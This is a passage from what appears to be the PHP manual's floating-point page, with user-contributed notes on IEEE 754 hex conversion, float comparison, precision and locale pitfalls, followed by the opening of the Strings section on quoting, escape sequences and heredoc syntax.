    $exp=strpos($scibin,".");
    //Transform to scientific notation (1.x^exp)
    $scibin=substr($binint,0,1).".".substr($binint,1).$binpoint;
    //Create mantissa
    if ($scibin>1) {
        $mantissa=substr($scibin,2);
    } else {
        $mantissa=substr($scibin,1);
    }
    //Fill mantissa to 23 bit value
    $fill23=23-strlen($mantissa);
    for ($i=0; $i<$fill23; $i++) {
    $mantissa.="0";
    }
    //Convert fraction separator position to exponent value
    if ($exp>0) { $exp--; }
    //Adjust to binary notation exponent value
    $exp+=127;
    //Convert to 8 bit binary
    $exp=decbin($exp);
    //Find 1 bit sign value
    if ($number>0) { $sign=0; } else { $sign=1; }
    //Compose final binary value
    $binfinal=$sign.$exp.$mantissa;
    //Reorganizae number into 4digit/bits packets and
    //finally convert to decimal value and to hex.
    $hexfinal.=dechex(bindec(substr($binfinal,0,4)));
    $hexfinal.=dechex(bindec(substr($binfinal,4,4)));
    $hexfinal.=dechex(bindec(substr($binfinal,8,4)));
    $hexfinal.=dechex(bindec(substr($binfinal,12,4)));
    $hexfinal.=dechex(bindec(substr($binfinal,16,4)));
    $hexfinal.=dechex(bindec(substr($binfinal,20,4)));
    $hexfinal.=dechex(bindec(substr($binfinal,24,4)));
    $hexfinal.=dechex(bindec(substr($binfinal,28,4)));

    return $hexfinal;
}

/** Using either function will return a value which can be used on the other function
  * to return the original input. (Hope it helps =)
**/

?>

Second function (HEX2FLOAT32n) converts Hexadecimal 8 digit strings to fixed decimals float numbers.

(complementary to FLOAT2HEX32n above)

<?php

/** Complementary functions to CONVERT PHP FLOATING POINT NUMBERS or DECIMALS
 *  (IEEE 754 single-precision 32 bit) TO HEXADECIMAL AND BACK.
 *
 *  @author NSTIAC (Jorge D. Baigorri Salas) <http://www.nstiac.com> <http://www.n2works.com>
 *  @created on 28/Jan/2010 / time spent: 2hours approx.
 *  @special thanks to Thomas Finley's article "Floating Point"
 *  <http://tfinley.net/notes/cps104/floating.html>
 *
 *  These functions allow to convert any php floating point numbers with the
 *  notation 1.234 (or fixed point numbers) into their corresponding 8 digits
 *  hexadecimal notation. (i.e.- 1557897.40 -> 49BE2C4B <- 1557897.40) by
 *  disregarding their implicit format and treating them at will as either
 *  integer, decimals, binary numbers, hexadecimal values, or plain text.
 *
**/

/** HEX2FLOAT32n
  * (Convert 8 digit hexadecimal values to fixed decimals float numbers (single-precision 32bits)
  * Accepts 8 digit hexadecimal values on a string (i.e.- F1A9B02C) and single integer to fix number of decimals
  * @usage:
  * hex2float32n("c9be2c49",2); returns -> "-1557897.13"
**/

function hex2float32n($number,$nd) {
   //Separate each hexadecimal digit
   for ($i=0; $i<strlen($number); $i++) {
       $hex[]=substr($number,$i,1);
   }
   //Convert each hexadecimal digit to integer
   for ($i=0; $i<count($hex); $i++) {
       $dec[]=hexdec($hex[$i]);
   }
   //Convert each decimal value to 4bit binary and join on a string
   for ($i=0; $i<count($dec); $i++) {
       $binfinal.=sprintf("%04d",decbin($dec[$i]));
   }
   //Get sign 1bit value
   $sign=substr($binfinal,0,1);
   //Get exponent 8bit value
   $exp=substr($binfinal,1,8);
   //Get mantissa 23bit value
   $mantissa=substr($binfinal,9);
   //Convert & adjunt binary exponent to integer
   $exp=bindec($exp);
   $exp-=127;
   //Assign mantissa to pre-scientific binary notation
   $scibin=$mantissa;
   //Split $scibin into integral & fraction parts through exponent
   $binint=substr($scibin,0,$exp);
   $binpoint=substr($scibin,$exp);
   //Convert integral binary part to decimal integer
   $intnumber=bindec("1".$binint);
   //Split each binary fractional digit
   for ($i=0; $i<strlen($binpoint); $i++) {
       $tmppoint[]=substr($binpoint,$i,1);
   }
   //Reverse order to work backwards
   $tmppoint=array_reverse($tmppoint);
   //Convert base 2 digits to decimal
   $tpointnumber=number_format($tmppoint[0]/2,strlen($binpoint),'.','');
   for ($i=1; $i<strlen($binpoint); $i++) {
       $pointnumber=number_format($tpointnumber/2,strlen($binpoint),'.','');
       $tpointnumber=$tmppoint[$i+1].substr($pointnumber,1);
   }
   //Join both decimal section to get final number
   $floatfinal=$intnumber+$pointnumber;
   //Convert to positive or negative based on binary sign bit
   if ($sign==1) { $floatfinal=-$floatfinal; }

   //Format float number to fixed decimals required
   return number_format($floatfinal,$nd,'.','');

}

/** Using either function will return a value which can be used on the other function
  * to return the original input. (Hope it helps =)
**/

?>
Julian L 09-Dec-2010 07:51
Convert a hex string into a 32-bit IEEE 754 float number.  This function is 2 times faster then the below hex to 32bit function.  This function only changes datatypes (string to int) once. Also, this function is a port from the hex to 64bit function from below.

<?php
function hexTo32Float($strHex) {
    $v = hexdec($strHex);
    $x = ($v & ((1 << 23) - 1)) + (1 << 23) * ($v >> 31 | 1);
    $exp = ($v >> 23 & 0xFF) - 127;
    return $x * pow(2, $exp - 23);
}
?>

<?php
//example
echo hexTo32Float("C4028000"); // outputs: -522
echo hexTo32Float("457F9000"); // outputs: 4089
echo hexTo32Float("2D7F5");    // outputs: 6.00804264307E-39
echo hexTo32Float("0002D7F5"); // outputs: 6.00804264307E-39
echo hexTo32Float("47D9F95E"); // outputs: 111602.734375
?>
Marc 06-Oct-2010 07:29
Small float compare function

<?php
function floatcmp($a,$b,$decimals=6) {
  return sprintf('%01.'.$decimals.'f',$a)==sprintf('%01.'.$decimals.'f',$b);
}
?>
v_gournay at hotmail dot com 06-Oct-2010 05:10
A simple way to check for equality of two floating point numbers. Change the default precision according to your needs:

<?php
    function IsFloatEqual($x,$y,$precision=0.0000001)
    {
        return ($x+$precision >= $y) && ($x-$precision <= $y);
    }
?>
sbditto85 11-Aug-2010 01:38
for float comparison i cast them as strings:
<?php (string) $floatOne == (string) $floatTwo ?>
and that seems to work...although that seems sooooo wrong to do that.
zelko at mojeime dot com 05-Jun-2010 01:43
The was talk about "converting" 32 and 64 bit IEEE754 binary numbers to PHP float. The issue isn't as much converting, since they are already in binary form, as it is casting. PHP doesn't allow direct accessing of memory, but you can still get around a bit.

The right was to read floats (32 and 64 bit) is this:

<?php
    $binarydata32 = pack('H*','0EC0A14A');
    $float32 = unpack("f", $binarydata32);

    $binarydata64 = pack('H*','000000C001385441');
    $float64 = unpack("d", $binarydata64);

    var_dump($float32,$float64,$float32==$float64);
?>

The result of dump():
<?php
 array(1) {
  [1]=>
  float(5300231)
}
array(1) {
  [1]=>
  float(5300231)
}
bool(true)
?>

Note: mind the Big and Little endian boys
magicaltux at php dot net 01-Jun-2010 07:02
In some cases you may want to get the maximum value for a float without getting "INF".

var_dump(1.8e308); will usually show: float(INF)

I wrote a tiny function that will iterate in order to find the biggest non-infinite float value. It comes with a configurable multiplicator and affine values so you can share more CPU to get a more accurate estimate.

I haven't seen better values with more affine, but well, the possibility is here so if you really thing it's worth the cpu time, just try to affine more.

Best results seems to be with mul=2/affine=1. You can play with the values and see what you get. The good thing is this method will work on any system.

<?php
  function float_max($mul = 2, $affine = 1) {
    $max = 1; $omax = 0;
    while((string)$max != 'INF') { $omax = $max; $max *= $mul; }

    for($i = 0; $i < $affine; $i++) {
      $pmax = 1; $max = $omax;
      while((string)$max != 'INF') {
        $omax = $max;
        $max += $pmax;
        $pmax *= $mul;
      }
    }
    return $omax;
  }
?>
inforsci at gmail dot com 27-Apr-2010 11:48
convert 32bit HEX values into IEEE 754 floating point
<?php

$strHex = "C45F82ED";

$bin = str_pad(base_convert($strHex, 16, 2), 32, "0", STR_PAD_LEFT);
$sign = $bin[0];
$exp = bindec(substr($bin, 1, 8)) - 127;
$man = (2 << 22) + bindec(substr($bin, 9, 23));

$dec = $man * pow(2, $exp - 23) * ($sign ? -1 : 1);

echo "Answer = " . $dec . "<BR>\n";

?>
Anonymous 25-Apr-2010 11:48
Calculations involving float types become inaccurate when it deals with numbers with more than approximately 8 digits long where ever the decimal point is.  This is because of how 32bit floats are commonly stored in memory.  This means if you rely on float types while working with tiny fractions or large numbers, your calculations can end up between tiny fractions to several trillion off.

This usually won't matter when converting to binary memory storage form and editing many applications' float memory addresses directly, or dealing with smaller length numbers.  But if you're working with larger scale numbers and decimals, it's best to switch to working with other types: http://www.php.net/manual/en/refs.math.php
pyrosphere 02-Apr-2010 02:47
While testing equality between two floats is usually a bad idea, if you learn how floats work on computers, you should be able to figure out when testing for equality will work and when it won't, and use this knowledge to know where you can avoid unnecessary checks that could be the straw that breaks the camel's back. Remember, rules were made to be broken, and in the real world sometimes they have to be.
pgarvin76+phpmanual at gmail dot com 12-Jan-2010 07:36
When converting from float to string trailing zeros will be dropped. Consider the following example. Tested on PHP 5.3.1.

<?php
$a = 5.00500;
$b = 30.00;
echo "a = $a\n";
echo "b = $b\n";
/* outputs:
a = 5.005
b = 30
*/
?>
francois dot barbier at gmail dot com 12-Aug-2009 08:49
As "m dot lebkowski+php at gmail dot com" (http://www.php.net/language.types.float#81416) noted 9 comments below :

When PHP converts a float to a string, the decimal separator used depends on the current locale conventions.

However, to declare a floating point number, one must always use a full stop otherwhise the code would be locale dependent (imagine the nightmare):
<?php
$float = 1.5;           // float(1.5)
$float = 1,5;           // Parse error: syntax error, unexpected ','
$float = (float) '1.5'; // float(1.5)
$float = (float) '1,5'; // float(1)
?>

Now, if you have a string containing a localized number, you can convert it back to a floating point number using the following function:
<?php
/**
 * Convert a localized number string into a floating point number
 *
 * @param      string $sNumber The localized number string to convert.
 * @return     float The converted number.
 */
function str2num($sNumber)
{
    $aConventions = localeConv();
    $sNumber = trim((string) $sNumber);
    $bIsNegative = (0 === $aConventions['n_sign_posn'] && '(' === $sNumber{0} && ')' === $sNumber{strlen($sNumber) - 1});
    $sCharacters = $aConventions['decimal_point'].
                   $aConventions['mon_decimal_point'].
                   $aConventions['negative_sign'];
    $sNumber = preg_replace('/[^'.preg_quote($sCharacters).'\d]+/', '', trim((string) $sNumber));
    $iLength = strlen($sNumber);
    if (strlen($aConventions['decimal_point']))
    {
        $sNumber = str_replace($aConventions['decimal_point'], '.', $sNumber);
    }
    if (strlen($aConventions['mon_decimal_point']))
    {
        $sNumber = str_replace($aConventions['mon_decimal_point'], '.', $sNumber);
    }
    $sNegativeSign = $aConventions['negative_sign'];
    if (strlen($sNegativeSign) && 0 !== $aConventions['n_sign_posn'])
    {
        $bIsNegative = ($sNegativeSign === $sNumber{0} || $sNegativeSign === $sNumber{$iLength - 1});
        if ($bIsNegative)
        {
            $sNumber = str_replace($aConventions['negative_sign'], '', $sNumber);
        }
    }
    $fNumber = (float) $sNumber;
    if ($bIsNegative)
    {
        $fNumber = -$fNumber;
    }
    return $fNumber;
}
?>

Example:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$float = -123456.789;
$string = (string) $float;
var_dump($float);           // float(-123456,789)
var_dump($string);          // string(11) "-123456,789"
var_dump((float) $string);  // float(-123456)
var_dump(str2num($string)); // float(-123456,789)
?>

It also works with strings returned by the number_format() function:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$conv = localeconv();
$float = -123456.789;
$string = $conv['int_curr_symbol'].number_format($float, $conv['frac_digits'], $conv['decimal_point'], $conv['thousands_sep']);
var_dump($float);           // float(-123456,789)
var_dump($string);          // string(15) "EUR -123.456,79"
var_dump((float) $string);  // float(0)
var_dump(str2num($string)); // float(-123456,79)
?>
rob at willo dot org 02-Jun-2009 09:18
PHP will parse ".123" with no leading digit; just a decimal point. For a command-line example:

php -r "echo 1 + .123;"

The regular expression provided above does not parse it.
My correction is:

EXPONENT_DNUM = "[+-]?({DNUM} | ({LNUM} | {DNUM}) [eE][+-]? {LNUM})"

NOTE: {LNUM} by itself is an integer, not a floating point.
Bob 07-May-2009 10:04
Here is a function to convert an exponential-format float to a decimal-format float; e.g. 1.6e+12 to 1600000000000.
It will help addressing the problem specified by kjohnson above.
I have tested it, but not in any real world situation so any feedback/improvements/bug-reports would be appreciated.
<?php
function exp_to_dec($float_str)
// formats a floating point number string in decimal notation, supports signed floats, also supports non-standard formatting e.g. 0.2e+2 for 20
// e.g. '1.6E+6' to '1600000', '-4.566e-12' to '-0.000000000004566', '+34e+10' to '340000000000'
// Author: Bob
{
    // make sure its a standard php float string (i.e. change 0.2e+2 to 20)
    // php will automatically format floats decimally if they are within a certain range
    $float_str = (string)((float)($float_str));

    // if there is an E in the float string
    if(($pos = strpos(strtolower($float_str), 'e')) !== false)
    {
        // get either side of the E, e.g. 1.6E+6 => exp E+6, num 1.6
        $exp = substr($float_str, $pos+1);
        $num = substr($float_str, 0, $pos);

        // strip off num sign, if there is one, and leave it off if its + (not required)
        if((($num_sign = $num[0]) === '+') || ($num_sign === '-')) $num = substr($num, 1);
        else $num_sign = '';
        if($num_sign === '+') $num_sign = '';

        // strip off exponential sign ('+' or '-' as in 'E+6') if there is one, otherwise throw error, e.g. E+6 => '+'
        if((($exp_sign = $exp[0]) === '+') || ($exp_sign === '-')) $exp = substr($exp, 1);
        else trigger_error("Could not convert exponential notation to decimal notation: invalid float string '$float_str'", E_USER_ERROR);

        // get the number of decimal places to the right of the decimal point (or 0 if there is no dec point), e.g., 1.6 => 1
        $right_dec_places = (($dec_pos = strpos($num, '.')) === false) ? 0 : strlen(substr($num, $dec_pos+1));
        // get the number of decimal places to the left of the decimal point (or the length of the entire num if there is no dec point), e.g. 1.6 => 1
        $left_dec_places = ($dec_pos === false) ? strlen($num) : strlen(substr($num, 0, $dec_pos));

        // work out number of zeros from exp, exp sign and dec places, e.g. exp 6, exp sign +, dec places 1 => num zeros 5
        if($exp_sign === '+') $num_zeros = $exp - $right_dec_places;
        else $num_zeros = $exp - $left_dec_places;

        // build a string with $num_zeros zeros, e.g. '0' 5 times => '00000'
        $zeros = str_pad('', $num_zeros, '0');

        // strip decimal from num, e.g. 1.6 => 16
        if($dec_pos !== false) $num = str_replace('.', '', $num);

        // if positive exponent, return like 1600000
        if($exp_sign === '+') return $num_sign.$num.$zeros;
        // if negative exponent, return like 0.0000016
        else return $num_sign.'0.'.$zeros.$num;
    }
    // otherwise, assume already in decimal notation and return
    else return $float_str;
}
?>
Bob 07-May-2009 08:34
In MySQL, many floating point number types can have a range specified using 2 values, the "precision" and the "scale" E.g. 'float(precision,scale)' for the datatype. This syntax means a number may be <precision> bits long, but may only have <scale> bits after the decimal point. E.g. a 'float(5,2)' field may have the values -999.99 to 999.99.
Here is a function to validate a PHP float using this syntax:
<?php
function validate_float($float, $precision, $scale)
{
    $max = (float)str_pad("", $precision-$scale, '9').'.'.str_pad("", $scale, '9');
    $min = (float)"-$max";

    if(($float < $min) || ($float > $max)) return false;
    else return true;
}
?>
Boylett 25-Mar-2009 10:06
I had trouble with comparing floats. Basicly, I was reading floats from a database, and comparing with other floats from a database, and ended up with (5.0 != 5.0) being true.

Anyway, i made some simple functions which fix the problem:

<?php

function floatcmp($f1,$f2,$precision = 10) // are 2 floats equal
{
    $e = pow(10,$precision);
    $i1 = intval($f1 * $e);
    $i2 = intval($f2 * $e);
    return ($i1 == $i2);
}

function floatgtr($big,$small,$precision = 10) // is one float bigger than another
{
    $e = pow(10,$precision);
    $ibig = intval($big * $e);
    $ismall = intval($small * $e);
    return ($ibig > $ismall);
}

function floatgtre($big,$small,$precision = 10) // is on float bigger or equal to another
{
    $e = pow(10,$precision);
    $ibig = intval($big * $e);
    $ismall = intval($small * $e);
    return ($ibig >= $ismall);
}

?>
info at forrest79 dot net 10-Feb-2009 12:55
My BIN to FLOAT (IEEE754), the first one doesn't work for me:

<?php
        function binToFloat($bin) {
            if(strlen($bin) > 32) {
                return false;
            } else if(strlen($bin) < 32) {
                $bin = str_repeat('0', (32 - strlen($bin))) . $bin;
            }

            $sign = 1;
            if(intval($bin[0]) == 1) {
                $sign = -1;
            }

            $binExponent = substr($bin, 1, 8);
            $exponent = -127;
            for($i = 0; $i < 8; $i++) {
                $exponent += (intval($binExponent[7 - $i]) * pow(2, $i));
            }

            $binBase = substr($bin, 9);
            $base = 1.0;
            for($x = 0; $x < 23; $x++) {
                $base += (intval($binBase[$x]) * pow(0.5, ($x + 1)));
            }

            $float = (float) $sign * pow(2, $exponent) * $base;

            return $float;
        }
?>
an dot kovacs at gmail dot com 08-Jun-2008 09:59
Converting IEEE754 binary representation to php float:

function bin2float ($bin) {
    if((ord($bin[0])>>7)==0) $sign=1;
    else $sign=-1;
    if((ord($bin[0])>>6)%2==1) $exponent=1;
    else $exponent=-127;
    $exponent+=(ord($bin[0])%64)*2;
    $exponent+=ord($bin[1])>>7;

    $base=1.0;
    for($k=1;$k<8;$k++) {
     $base+=((ord($bin[1])>>(7-$k))%2)*pow(0.5,$k);
    }
    for($k=0;$k<8;$k++) {
     $base+=((ord($bin[2])>>(7-$k))%2)*pow(0.5,$k+8);
    }
    for($k=0;$k<8;$k++) {
     $base+=((ord($bin[3])>>(7-$k))%2)*pow(0.5,$k+16);
    }

    $float=(float)$sign*pow(2,$exponent)*$base;
    return $float;
}
kjohnson at zootweb dot com 02-Jun-2008 12:23
PHP switches from the standard decimal notation to exponential notation for certain "special" floats. You can see a partial list of such "special" values with this:

<?php
for( $tmp = 0, $i = 0; $i < 100; $i++ ) {
    $tmp += 100000;
    echo round($tmp),"\n";
}
?>

So, if you add two floats, end up with a "special" value, e.g. 1.2E+6, then put that value unmodified into an update query to store the value in a decimal column, say, you will likely get a failed transaction, since the database will see "1.2E+6" as varchar data, not decimal. Likewise, you will likely get an XSD validation error if you put the value into xml.

I have to be honest: this is one of the strangest things I have seen in any language in over 20 years of coding, and it is a colossal pain to work around.
m dot lebkowski+php at gmail dot com 27-Feb-2008 01:18
Just another note about the locales. Consider the following code:

<?php
    // in polish locale decimal separator is ","
    setlocale(LC_ALL, "pl_PL");
    $a = 5/2;
    echo (float)(string)$a;
    /// prints "2", so the decimal part is dropped
?>

This causes very serious problems in my opinion. In some locale combination the typecasting can be destructive.
Maybe when locale decimal separator is ",", then (float)"2,5" should be recognized as "two and a half"?
Anyway - bare that in mind and be very careful when casting floats to strings and back.
helly at php dot net 22-Oct-2007 12:10
Floating point values have a limited precision. Hence a value might not have the same string representation after any processing. That also includes writing a floating point value in your script and directly printing it without any mathematical operations.

If you would like to know more about "floats" and what IEEE 754 is read this: http://docs.sun.com/source/806-3568/ncg_goldberg.html
sinuhet 14-Nov-2006 08:04
<?php
        define('EPSILON', 1.0e-8);

        function real_cmp($r1, $r2)
        {
                $diff = $r1 - $r2;

                if( abs($diff) < EPSILON )
                        return 0;
                else
                        return $diff < 0 ? -1 : 1;
        }

        function real_lt($r1, $r2)
        {
                return real_cmp($r1, $r2) < 0;
        }

        echo "raw compare\n";

        $n = 0;
        for($i = 0.1; $i < 1.0; $i += 0.1) {
                $n++;
                echo "$i\t$n\n";
        }

        echo "\nepsilon compare\n";

        $n = 0;
        for($i = 0.1; real_lt($i, 1.0); $i += 0.1) {
                $n++;
                echo "$i\t$n\n";
        }

/*
        Outputs:

        raw compare
        0.1     1
        0.2     2
        0.3     3
        0.4     4
        0.5     5
        0.6     6
        0.7     7
        0.8     8
        0.9     9
        1       10

        epsilon compare
        0.1     1
        0.2     2
        0.3     3
        0.4     4
        0.5     5
        0.6     6
        0.7     7
        0.8     8
        0.9     9
*/
?>

So moral of this program? "Never compare floating point numbers for equality" solves only half of the problem. As seen above, even raw comparing of floats for less than (or grater than) is dangerous and epsilon (round, etc.) must be used.
TAS 27-Jul-2006 04:02
An update regarding the james dot cridland at virginradio dot co dot uk note below, I recently tried his formula using PHP 5 and it is necessary to specify the integer precision when using the round function, otherwise the output will be 0.

<? echo round((69.1-floor(69.1))); ?> // prints 0
<? echo round((69.1-floor(69.1)), 1); ?> // prints 0.1

Also, it appears that "small numbers" include everything up to 64.0.  So that

<? echo (63.1-floor(63.1)); ?>

will print 0.1 and

<? echo (64.0-floor(64.0)); ?>

will print 0, but

<? echo round(64.1-floor(64.1)); ?>

will print 0.099999999999994.
david at davidmosesNO dot SPAM dot ca 25-Mar-2006 01:48
Re: rick at ninjafoo dot com

There is no need to “always” use the BCMath functions. We just need to heed the documentation and “never compare floating point numbers for equality”.

The reason (19.6*100) !== (double)1960, is because inside a computer they are not equal.

Try this:

<?php

printf("%.15f", (19.6*100));

?>

Outputs: 1960.000000000000227 (not 1960 as somewhat expected)

If comparison is required a few options come to mind (other than BCMath):

1) Round numbers before comparison:

<?php

$sig_figs = 5;
echo (round((19.6*100), $sig_figs) !== round((double)1960, $sig_figs)) ? 'not equal' : 'equal';

?>

Outputs: equal

2) Another method is to use a tolerance value, and consider numbers equal if their difference is less than the tolerance.
Luzian 17-Nov-2005 12:03
Be careful when using float values in strings that are used as code later, for example when generating JavaScript code or SQL statements. The float is actually formatted according to the browser's locale setting, which means that "0.23" will result in "0,23". Imagine something like this:

$x = 0.23;
$js = "var foo = doBar($x);";
print $js;

This would result in a different result for users with some locales. On most systems, this would print:

var foo = doBar(0.23);

but when for example a user from Germany arrives, it would be different:

var foo = doBar(0,23);

which is obviously a different call to the function. JavaScript won't state an error, additional arguments are discarded without notice, but the function doBar(a) would get 0 as parameter. Similar problems could arise anywhere else (SQL, any string used as code somewhere else). The problem persists, if you use the "." operator instead of evaluating the variable in the string.

So if you REALLY need to be sure to have the string correctly formatted, use number_format() to do it!
TRI0N 23-Sep-2005 07:01
Here is a simple formula to break down a number and get rid of the decimal values.  I built this to take a number in seconds and convert it to a readable value for Server Uptimes.

<?php
$day = floor(($uptime / 86400)*1.0) ;
$calc1 = $day * 86400 ;
$calc2 = $uptime - $calc1 ;
$hour = floor(($calc2 / 3600)*1.0) ;
if ($hour < 10) {
$hour = "0".$hour ;
}
$calc3 = $hour * 3600 ;
$calc4 = $calc2 - $calc3 ;
$min = floor(($calc4 / 60)*1.0) ;
if ($min < 10) {
$min = "0".$min ;
}
$calc5 = $min * 60 ;
$sec = floor(($calc4 - $calc5)*1.0) ;
if ($min < 10) {
$sec = "0".$sec ;
}
$uptime2 = $day." Days, ".$hour.":".$min.":".$sec ;
?>

Place this where you want the results to be seen:
<?php echo $uptime2 ; ?>

For a Value of 1455587 seconds the results will show as followed:
16 Days, 20:19:47

Enjoy
rick at ninjafoo dot com 06-Jul-2005 01:04
Concider the following:

(19.6*100) != 1960

echo gettype(19.6*100) returns 'double', However even .....

(19.6*100) !== (double)1960

19.6*100 cannot be compaired to anything without manually
casting it as something else first.

(string)(19.6*100) == 1960

Rule of thumb, if it has a decimal point, use the BCMath functions.
feline at NOSPAM dot penguin dot servehttp dot com 12-Aug-2004 06:36
General computing hint: If you're keeping track of money, do yourself and your users the favor of handling everything internally in cents and do as much math as you can in integers. Store values in cents if at all possible. Add and subtract in cents. At every operation that wii involve floats, ask yourself "what will happen in the real world if I get a fraction of a cent here" and if the answer is that this operation will generate a transaction in integer cents, do not try to carry fictional fractional accuracy that will only screw things up later.
gallico_ at hotmail dot com 07-Sep-2003 08:34
To complete the thread about testing two floating point numbers for equality, here's the way it works for *every* programming language:

<?php
// two fp numbers should be considered equal if their absolute
// difference does not exceed a certain value epsilon:
$epsilon = 0.0001; // this defines the precision of your comparision
// check their absolute difference
if (abs($one_float - $another_float) < $epsilon)
   // what to be done in case the numbers are equal goes here
?>
james dot cridland at virginradio dot co dot uk 28-Apr-2003 07:44
The 'floating point precision' box in practice means:

<? echo (69.1-floor(69.1)); ?>
Think this'll return 0.1?
It doesn't - it returns 0.099999999999994

<? echo round((69.1-floor(69.1))); ?>
This returns 0.1 and is the workaround we use.

Note that
<? echo (4.1-floor(4.1)); ?>
*does* return 0.1 - so if you, like us, test this with low numbers, you won't, like us, understand why all of a sudden your script stops working, until you spend a lot of time, like us, debugging it.

So, that's all lovely then.
dev at maintainfit dot com 15-Apr-2003 11:27
I was programming an accounting application in MySql that required me to sum a collection of floats and ensure that they equal zero before commiting a transaction, but as seen above a sum of floats cannot always be trusted (as was my case).  I kept getting a very small remainder (like 1.4512431231e-14).  Since I had used number_format(num,2) to set the precision of the numbers in the database to only two (2) decimal places, when the time comes to calculate the sum I simply multiply every number by ten (10), therby eliminating and decimal places and leaving me with integers to preform my sum.  This worked great.
01-Apr-2003 02:20
In response to "...the author probably knows what they are talking about..." above:

Of course the author knows what they're talking about. The previous poster missunderstood the semantics of the author's example of the decimal representation of 1/3. The author is not suggesting that some property of decimal numbers causes the behaviour, but that the property of finite binary representations of real numbers which does cause the problem is shared by finite decimal representations. To paraphrase, the author is saying "10*(0.1+0.7) gives 7.99999... because of the binary equivalent of the fact that 1/3+2/3 gives 0.99999... when using finite decimal representations (where 1/3 == 0.33333... and 2/3 == 0.66666..., so 1/3+2/3 == (0.33333...)+(0.66666...) == 0.99999... instead of 1)."

The problem occurs with finite representations of real numbers, regardless of base of the number system used.
Theo Diem 26-Mar-2003 10:35
Just to mention ....

$something = "12.20";
$value = (float) $something;

Depending you locale settings (see setlocale) this will return a float number 12.2 or 12 (without decimal part, if you locale uses another symbol than dot for decimal part)

Be aware if u are working with PHP using one locale setting (by setlocale) and a SQL database with other locale ....
Julian Suggate 10-Mar-2003 06:22
Never never never compare floats for equality! Even a >= is asking too much of any binary computer (that's pretty much all of them ;-). It will sometimes work, but the best you can hope for is a subtle bug that will occasionally cause non-deterministic behaviour.

Floats must only ever be used for proper inequalities.
backov at spotbrokers-nospamplz dot com 05-Mar-2003 01:16
I'd like to point out a "feature" of PHP's floating point support that isn't made clear anywhere here, and was driving me insane.

This test (where var_dump says that $a=0.1 and $b=0.1)

if ($a>=$b) echo "blah!";

Will fail in some cases due to hidden precision (standard C problem, that PHP docs make no mention of, so I assumed they had gotten rid of it). I should point out that I originally thought this was an issue with the floats being stored as strings, so I forced them to be floats and they still didn't get evaluated properly (probably 2 different problems there).

To fix, I had to do this horrible kludge (the equivelant of anyway):

if (round($a,3)>=round($b,3)) echo "blah!";

THIS works. Obviously even though var_dump says the variables are identical, and they SHOULD BE identical (started at 0.01 and added 0.001 repeatedly), they're not. There's some hidden precision there that was making me tear my hair out. Perhaps this should be added to the documentation?
www.sarioz.com 04-Feb-2003 10:49
just a comment on something the "Floating point precision" inset, which goes: "This is related to .... 0.3333333."

While the author probably knows what they are talking about, this loss of precision has nothing to do with decimal notation, it has to do with representation as a floating-point binary in a finite register, such as while 0.8 terminates in decimal, it is the repeating 0.110011001100... in binary, which is truncated.  0.1 and 0.7 are also non-terminating in binary, so they are also truncated, and the sum of these truncated numbers does not add up to the truncated binary representation of 0.8 (which is why (floor)(0.8*10) yields a different, more intuitive, result).  However, since 2 is a factor of 10, any number that terminates in binary also terminates in decimal.
27-Sep-2002 11:45
much easier:

  e.g. round(3.1415927,2) => 3.14
        round(1092,-2) => 1100
jeroen at php dot net 23-May-2001 07:13
If you want to round a floating point number to the nearest multiple of some number n, use the following trick:

$rounded = round($number / n) * n

For example, to round 12874.49 to the nearest 100-multiple (i.e. 12900), use
$rounded = round($number / 100) * 100

Use ceil() or floor() if you want to round down/up.
Integers
Strings
Types


Strings

A string is series of characters, where a character is the same as a byte. This means that PHP only supports a 256-character set, and hence does not offer native Unicode support. See details of the string type.

Note: It is no problem for a string to become very large. PHP imposes no boundary on the size of a string; the only limit is the available memory of the computer on which PHP is running.

Syntax

A string literal can be specified in four different ways:

  • single quoted
  • double quoted
  • heredoc syntax
  • nowdoc syntax (since PHP 5.3.0)

Single quoted

The simplest way to specify a string is to enclose it in single quotes (the character ').

To specify a literal single quote, escape it with a backslash (\). To specify a literal backslash, double it (\\). All other instances of backslash will be treated as a literal backslash: this means that the other escape sequences you might be used to, such as \r or \n, will be output literally as specified rather than having any special meaning.

Note: Unlike the double-quoted and heredoc syntaxes, variables and escape sequences for special characters will not be expanded when they occur in single quoted strings.

<?php
echo 'this is a simple string';

echo 'You can also have embedded newlines in
strings this way as it is
okay to do';

// Outputs: Arnold once said: "I'll be back"
echo 'Arnold once said: "I\'ll be back"';

// Outputs: You deleted C:\*.*?
echo 'You deleted C:\\*.*?';

// Outputs: You deleted C:\*.*?
echo 'You deleted C:\*.*?';

// Outputs: This will not expand: \n a newline
echo 'This will not expand: \n a newline';

// Outputs: Variables do not $expand $either
echo 'Variables do not $expand $either';
?>

Double quoted

If the string is enclosed in double-quotes ("), PHP will interpret more escape sequences for special characters:

Escaped characters
Sequence | Meaning
\n | linefeed (LF or 0x0A (10) in ASCII)
\r | carriage return (CR or 0x0D (13) in ASCII)
\t | horizontal tab (HT or 0x09 (9) in ASCII)
\v | vertical tab (VT or 0x0B (11) in ASCII) (since PHP 5.2.5)
\e | escape (ESC or 0x1B (27) in ASCII) (since PHP 5.4.0)
\f | form feed (FF or 0x0C (12) in ASCII) (since PHP 5.2.5)
\\ | backslash
\$ | dollar sign
\" | double-quote
\[0-7]{1,3} | the sequence of characters matching the regular expression is a character in octal notation
\x[0-9A-Fa-f]{1,2} | the sequence of characters matching the regular expression is a character in hexadecimal notation

As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in \{$var} had not been printed.

The most important feature of double-quoted strings is the fact that variable names will be expanded. See string parsing for details.

Heredoc

A third way to delimit strings is the heredoc syntax: <<<. After this operator, an identifier is provided, then a newline. The string itself follows, and then the same identifier again to close the quotation.

The closing identifier must begin in the first column of the line. Also, the identifier must follow the same naming rules as any other label in PHP: it must contain only alphanumeric characters and underscores, and must start with a non-digit character or underscore.

Warning

It is very important to note that the line with the closing identifier must contain no other characters, except possibly a semicolon (;). That means especially that the identifier may not be indented, and there may not be any spaces or tabs before or after the semicolon. It's also important to realize that the first character before the closing identifier must be a newline as defined by the local operating system. This is \n on UNIX systems, including Mac OS X. The closing delimiter (possibly followed by a semicolon) must also be followed by a newline.

If this rule is broken and the closing identifier is not "clean", it will not be considered a closing identifier, and PHP will continue looking for one. If a proper closing identifier is not found before the end of the current file, a parse error will result at the last line.

Heredocs can not be used for initializing class properties. Since PHP 5.3, this limitation is valid only for heredocs containing variables.

Example #1 Invalid example

<?php
